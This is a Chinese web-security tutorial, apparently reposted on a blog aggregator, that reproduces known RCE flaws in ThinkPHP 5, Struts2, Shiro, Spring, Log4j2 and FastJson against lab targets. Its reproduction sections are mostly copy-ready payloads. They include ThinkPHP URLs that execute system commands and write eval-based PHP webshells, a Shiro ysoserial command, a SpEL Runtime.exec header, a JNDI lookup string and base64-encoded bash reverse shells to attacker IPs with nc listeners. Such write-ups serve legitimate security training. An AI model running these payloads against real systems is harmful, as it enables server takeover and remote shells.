【web安全】——常见框架漏洞

news2024/11/26 18:35:43

1.ThinkPHP框架漏洞

thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞

1.1Thinkphp 5.0.22/5.1.29远程代码执行漏洞

1.1.1原理

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1.1.2关键函数

call_user_func_array():

调用回调函数,可以将把一个数组参数作为回调函数的参数

应用于要调用的函数名是未知的或要调用函数的参数类型及个数是未知的情况

例如:

#demo1

<?php

$a = array('whoami','hostname');

call_user_func('system',$a[1]);

?>

1.1.3漏洞复现

搭建靶场

通过代码执行Payload,执行phpinfo

http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

通过代码执行Payload,执行系统命令

http://192.168.52.136:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

通过过代码执行Payload,写入shell;

注意:为了防止特殊字符导致写入失败,需要将Payload进行URL编码

http://192.168.52.136:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= <%3Fphp phpinfo()%3Beval($_POST['cmd'])%3B%3F>

访问写入的shell.php,出现phpinfo界面,证明写入成功

http://192.168.52.136:8080/shell.php

蚁剑连接成功

1.2Thinkphp 5.0.23远程代码执行漏洞

1.2.1实验原理

原理:ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

1.2.2漏洞复现

搭建靶场

打开BurpSuite,刷新页面,抓取到数据包

将包发送至Repeater,并构造命令执行的Payload

方便进一步的管理,尝试写入shell;

在此之前我们需要得知网站的绝对路径;如下通过pwd命令获取

/var/www/public

构造写入shell的Payload

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST["shell"]);?>" > /var/www/public/shell.php

尝试访问

成功访问,说明该文件已经被解析

在蚁剑中添加数据,测试连接,成功

2.struts2框架漏洞

Struts2是一款基于Java开发的框架,web路径下会出现两种特殊的文件格式,即*.action文件与*.jsp文件;

现阶段已知的S2poc大多数都是远程命令执行漏洞,主要出现位置有:url中,报文内容中,content-type中;

2.1Struts2(s2-061)漏洞

2.1.1原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式, 在Freemarker标记中使用错误的表达式而不是字符串文字时,导致攻击者远程执行代码攻击。

影响范围: Struts 2.0.0 - Struts 2.5.25。

2.1.2漏洞复现

搭建靶场

发现.action结尾,判断该靶场为st2框架

尝试给ID参数传递OGNL表达式,如下通过审查元素发现3*3成功执行,OGNL表达式注入成功,漏洞存在

既然表达式成功执行,那就构造能执行命令的Payload

同理更改Payload中红色部分即可以执行任意命令,例如改成whoami

3.shiro框架漏洞

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):

  • 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。
  • 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.
  • 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
  • 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。

对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。

3.1Shiro550 CVE-2016-4437

3.1.1原理

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。然后⽤户在请求⽹站时,shiro ⼜会在识别⾝份的时候对cookie进行:

(1)获取rememberMe cookie

(2)base64 解码

(3)AES解密

(4)反序列化

AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,在Shiro 1.2.4及之前的框架中,Key为默认存于源码中,而且该框架属于开源状态,如果不及时修改的话,从而控制Rememberme Cookie传入恶意数据到后端反序列化的对象。(理论上AES没有密钥将无法破解出可用明文数据,现在测试者拥有了AES加密解密所用的Key,相当于可以操控整个Cookie构造过程,那测试者将可以随意构造含有恶意命令的Cookie数据传入后端,由后端的处理得到数据中的恶意命令的明文,再通过其他功能包调用执行了命令)。

3.1.2漏洞复现

docker环境搭建

打开vulhub 靶机,目录定位到 vulhub-master/shiro/CVE-2016-4437 目录下

勾选remeber me 进行抓包

安装shiroExploit.jar工具

使用Shiro_exploit.py 检测是否存在shiro 漏洞

python3 shiro_exploit.py -u http://192.168.52.136:8080

vulnerable:True 表示存在 shiro 漏洞

对反弹shell 命令进行加密利用

对端口进行监听

实验二:利用ysoserial 复现漏洞

java -cp ysoserial.jar

ysoserial.exploit.JRMPListener 1234 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}'

使用一键利用工具复现

反弹shell

4.Spring框架漏洞

4.1Spring Cloud Function SPEL表达式注入漏洞

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE应用程序开发提供了一个好用的框架。

4.1.1原理

Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成 Spel 表达式注入漏洞。攻击者可通过该漏洞执行任意代码。

影响范围:3.0.0 <= Spring Cloud Function <= 3.2.2

向请求头中传入构造的SpEL表达式,用于执行系统命令。

4.1.2漏洞复现

搭建靶场

访问http://192.168.56.129:8080/functionRouter,并BurpSuite抓包

将抓到的GET包发送到Repeater中,切换成POST方法

访问http://dnslog.cn/,申请一个域名

bttz6x.dnslog.cn将申请到的域名拼接到构造好的SpEL表达式中

如下表达式是为了执行让系统执行ping命令,解析dnslog域名

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping bttz6x.dnslog.cn")

回到dnslog界面中,点击Refresh Record刷新记录,得到回显

通过如上方法,可以证明漏洞存在,为了进一步利用,需要反弹shell

在这之前需要做好如下准备:

Ø Centos和Kali可以互相ping通

Ø Kali开启监听:nc -lvp 8080

Ø 准备反弹命令:/bin/bash -i >& /dev/tcp/192.168.52.136/8080 0>&1

注意上面的IP和端口,均为Kali

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}

随后收到反弹回来的shell,可以执行任意命令

4.2pring Framework RCE

4.2.1原理

Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

该漏洞是因为在Java9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,从而造成这个漏洞。

4.2.2漏洞复现

搭建靶场

打开BurpSuite,配置好代理,刷新页面,抓到数据包

将数据包发送到Repeater,构造并发送如下Payload

注意:下面的请求包中:“DNT: 1”下面有两个空行

访问shell并执行命令:

http://192.168.56.129:8080/shell1.jsp?pwd=j&cmd=id

通过这个小马进行反弹shell

在这之前需要做好如下准备:

Ø Centos和Kali可以互相ping通

Ø Kali开启监听:nc -lvp 4444

Ø 准备反弹命令:/bin/bash -i >& /dev/tcp/192.168.56.151/4444 0>&1

Ø 注意上面的IP和端口,均为Kali

http://192.168.52.136:8080/shell1.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS84MDgwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

访问后即可在Kali中得到反弹回来的shell,可执行任意命令

5.Log4j2远程代码执行漏洞

5.1漏洞原理

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

5.1.1啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

5.1.2啥是JNDI?

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。

5.2漏洞复现

搭建靶场

向Dnslog平台申请域名

将Dnslog地址填入url并访问:
http://192.168.52.136:8983/solr/admin/cores?action=${jndi:ldap://z5bngl.dnslog.cn

出现回显

出现回显说明存在Log4j2漏洞,可以进行漏洞利用

可以编写 恶意文件Exploit.java 进行上传,或者直接利用现场的JNDI注入工具

6.FastJson反序列化漏洞

6.1原理

FastJson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

6.2漏洞探测

搭建靶场

向dnslog平台申请域名,然后将域名填入payload,并发送如下数据

nwaxhs.dnslog.cn

{"zeo":{"@type":"java.net.Inet4Address","val":"nwaxhs.dnslog.cn"}}

随后即可在dnslog平台看到回显,证明漏洞存在

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192962.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【详细教程】如何使用YOLOv11进行图像与视频的目标检测

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

m4a怎么转换成mp3?音频转换MP3只需要这6个小工具!

m4a怎么转换成mp3&#xff1f;M4A和MP3是两种常见的音频格式&#xff0c;M4A通常使用AAC&#xff08;高级音频编码&#xff09;进行压缩&#xff0c;提供更高的音质和更小的文件体积&#xff0c;特别适合在Apple设备上使用。而MP3则以其高压缩比和广泛的兼容性著称&#xff0c;…

TM1618数码管控制芯片使用共阳极数码管过程中的问题和解决办法

控制芯片的基本了解 相比于不用控制芯片的电路&#xff1a;这里带2根电源线和3个信号线&#xff0c;共使用了5根线&#xff0c;但可以控制4个8段数码管显示。若是电路直接控制4个8段数码管需要84113个接口&#xff0c;这对于MCU的珍贵引脚简直是浪费。 这里不会出现余晖效应也…

大花蔷薇T2T基因组-60

Multi-omics analyzes of Rosa gigantea illuminate tea scent biosynthesis and release mechanisms 多组学分析揭示了大花蔷薇茶香合成及释放机制 摘要 玫瑰是一种全球广泛栽培的重要观赏作物&#xff0c;用于香水生产。然而&#xff0c;由于缺乏茶玫瑰的参考基因组&#x…

鸿蒙开发(NEXT/API 12)【穿戴设备传感器获取】手机侧应用开发

手机侧应用可以通过Wear Engine获取穿戴设备上的传感器信息&#xff0c;并通过打开、关闭命令控制获取传感器数据。 使用传感器相关接口前&#xff0c;需要向手机侧用户申请获取对应权限的授权 传感器类型申请权限ECG、PPG、HR[HEALTH_SENSOR]人体传感器ACC、GYRO、MAG[MOTIO…

汇编DEBUG程序调用

工具 系统&#xff1a;Windows 11 应用&#xff1a;DOSBox 0.74-3 下载安装教程&#xff1a;本人写的《DOSBox下载安装&#xff08;Windows系统 DOSBox 0.74-3&#xff09;》 https://blog.csdn.net/just_do_it_sq/article/details/142715182?spm1001.2014.3001.5501 相关文…

C++ 算法学习——1.3 深度优先搜索

深度优先搜索&#xff1a;简单讲就是搜到某条路尽头&#xff0c;再掉头回溯搜其他的路。此中重点是尽头的判断&#xff0c;和对走过的路进行标记。 一般采用递归的写法&#xff0c;模板大致如下&#xff1a; DFS(node,visited):if node is in visited:returnadd node to visi…

通用mybatis-plus查询封装(QueryGenerator)

结果如下图所示 java类代码分别如下 1 package com.hdx.contractor.util.mybatis;import com.hdx.contractor.common.user.SecurityUser; import com.hdx.contractor.common.user.UserDetail; import com.hdx.contractor.util.query.oConvertUtils; import lombok.extern.slf…

OpenHarmony(鸿蒙南向开发)——轻量系统芯片移植案例(一)

往期知识点记录&#xff1a; 鸿蒙&#xff08;HarmonyOS&#xff09;应用层开发&#xff08;北向&#xff09;知识点汇总 鸿蒙&#xff08;OpenHarmony&#xff09;南向开发保姆级知识点汇总~ 持续更新中…… 轻量带屏解决方案之恒玄芯片移植案例 本文章基于恒玄科技BES2600W…

【AI知识点】交叉验证(Cross-Validation)

交叉验证&#xff08;Cross-Validation&#xff09; 是机器学习中常用的一种模型评估方法&#xff0c;用于评估模型的性能和泛化能力。它通过在不同的训练集和验证集上多次训练和测试模型&#xff0c;从而有效地评估模型在未见数据上的表现&#xff0c;帮助防止模型的过拟合和欠…

【RTD MCAL 篇2】 K312 UART DMA

【RTD MCAL 篇2】 K312 UART DMA 一&#xff0c;文档简介二&#xff0c; 功能实现2.1 K312 MINIEVB硬件配置2.2 EB 配置2.2.1 Mcl module2.2.2 Mcu module2.2.3 Platform module2.2.4 Port module2.2.5 Uart module2.2.6 Rm module 2.3 main code 三&#xff0c;测试结果 一&am…

Clio——麻省理工学院增强机器人场景理解算法

概述 机器人感知长期以来一直受到现实世界环境复杂性的挑战&#xff0c;通常需要固定设置和预定义对象。麻省理工学院的工程师 已经开发了Clio这项突破性的系统可以让机器人直观地理解并优先考虑周围环境中的相关元素&#xff0c;从而提高其高效执行任务的能力。 了解对更智…

【Python】Marmir 使用指南:Python 驱动的电子表格生成器

Marmir 是一个由 Python 驱动的电子表格生成工具&#xff0c;专门用于将 Python 数据结构&#xff08;如字典、列表等&#xff09;转换为电子表格文件&#xff08;如 Excel&#xff09;。Marmir 的设计目标是提供比传统电子表格库&#xff08;如 xlwt&#xff09;更强大和灵活的…

ctf.bugku-备份是个好习惯

访问页面得到字符串 这串字符串是重复的&#xff1b; d41d8cd98f00b204e9800998ecf8427e 从前端、源码上看&#xff0c;除了这段字符串&#xff0c;没有其他信息&#xff1b;尝试解密&#xff0c;长度32位&#xff1b;各种解密方式试试&#xff1b; MD5免费在线解密破解_MD5在…

文件后缀名不见了怎么办?

有一天&#xff0c;突然有需要更改文件的后缀名&#xff0c;可奇怪的是文件只有名称&#xff0c;后缀不见了&#xff0c;这该如何修改呢&#xff1f; 第一步&#xff1a;打开此电脑&#xff0c;最上面一栏选择“查看” 第二步&#xff1a;将“文件扩展名”勾选上 第三步&…

会议时如何实现扫码签到?

如何实现扫码签到&#xff1f; 在现代活动管理中&#xff0c;签到环节是不可或缺的一部分。它不仅关系到活动的顺利进行&#xff0c;还涉及到参与者的体验。传统的签到方式往往耗时且效率不高&#xff0c;而随着技术的发展&#xff0c;扫码签到成为了一种高效且便捷的解决方案。…

用小学生可以理解的语言讲一下什么是大模型

好的&#xff0c;用小学生的语言来说&#xff0c;大模型就像是一个超级聪明的机器人老师&#xff0c;它懂得很多东西&#xff0c;可以帮助我们做很多事情。 1. **懂得很多**&#xff1a;大模型知道很多知识&#xff0c;就像一个巨大的图书馆&#xff0c;里面有很多书&#xff0…

【星汇极客】单片机竞赛之2024睿抗机器人大赛-火线速递赛道(持续更新)

前言 本人是一名嵌入式学习者&#xff0c;在大学期间也参加了不少的竞赛并获奖&#xff0c;包括但不限于&#xff1a;江苏省电子设计竞赛省一、睿抗机器人国二、中国高校智能机器人国二、嵌入式设计竞赛国三、光电设计竞赛国三、节能减排竞赛国三。 后面会经常写一下博客&…

归并排序:递归、非递归实现、文件排序(归并排序实现)

目录 归并排序递归实现 1.归并排序基本思想 2.归并排序单趟思路 3.代码思路步骤 3.1.归并排序实现思路步骤 3.2.总结 3.2.1.数组归并与链表归并的差异 (1)数组归并 (2)链表归并 (3)总结 3.2.2.归并排序的递归实现总结 4.归并排序递归实现代码 5.归并排序递归递归展…

用AI做电子萌宠,快速涨粉变现

今天给大家分享一个很热门的小副业—AI宠物视频 项目介绍 前一阵刷到一个萌宠账号&#xff0c;爆款率可真高&#xff0c;涨粉可真快呀。 28篇笔记涨粉3.2万&#xff0c;点赞更是达到了十几万。其中有6篇点赞上万。 至于究竟是不是AI其实没那么重要&#xff0c;重要的是&…